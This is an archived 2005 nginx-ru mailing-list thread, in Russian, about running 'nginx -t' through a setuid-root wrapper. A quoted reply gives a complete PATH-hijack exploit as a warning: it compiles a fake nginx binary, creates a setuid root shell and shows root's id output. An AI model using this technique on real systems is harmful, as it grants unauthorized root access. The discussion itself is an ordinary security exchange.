Nginx-ru mailing list archive (nginx-ru@sysoev.ru)
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Проверить конфигурацию непривелегированным пользователем
On Friday 02 September 2005 17:24, L0rda wrote:
> Andrei Nigmatulin wrote:
> >Хотя, для себя я проблему решил - setuid binary, исполняющий "nginx -t"
> > ;-)
>
> Гхм.. не советую;)
> а потом кто-то сделает так:
>
> cat>sh.c<<EOF
> #include <sys/types.h>
> #include <unistd.h>
> main() {
> setuid(0);
> setgid(0);
> system("/bin/sh");
> }
> EOF
> cat>nginx.c<<EOF
> #include <sys/types.h>
> #include <unistd.h>
> main() {
> system("/bin/chown root:root /tmp/sh;/bin/chmod +s /tmp/sh");
> }
> EOF
> gcc -o sh sh.c
> gcc -o nginx nginx.c
> export PATH=`pwd`
> vash_setuid_binary &
> export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
> ./sh
> # id
> uid=0(root) gid=0(root) groups=0(root)
>
> и никаких переполнений буфера 8)
Нет, мой - не исполняет sh
#include <unistd.h>
int main()
{
setuid(0);
execl("/home/nginx/sbin/nginx", "/home/nginx/sbin/nginx", "-t", 0);
}
По-моему это вполне безопасно
--
Andrei Nigmatulin
GPG PUB KEY 6449830D
No Microsoft products were used in any way
for the creation of this message. If you are
using a Microsoft product to view it, BEWARE!
I'm not responsible for any harm you might
encounter as a result.
|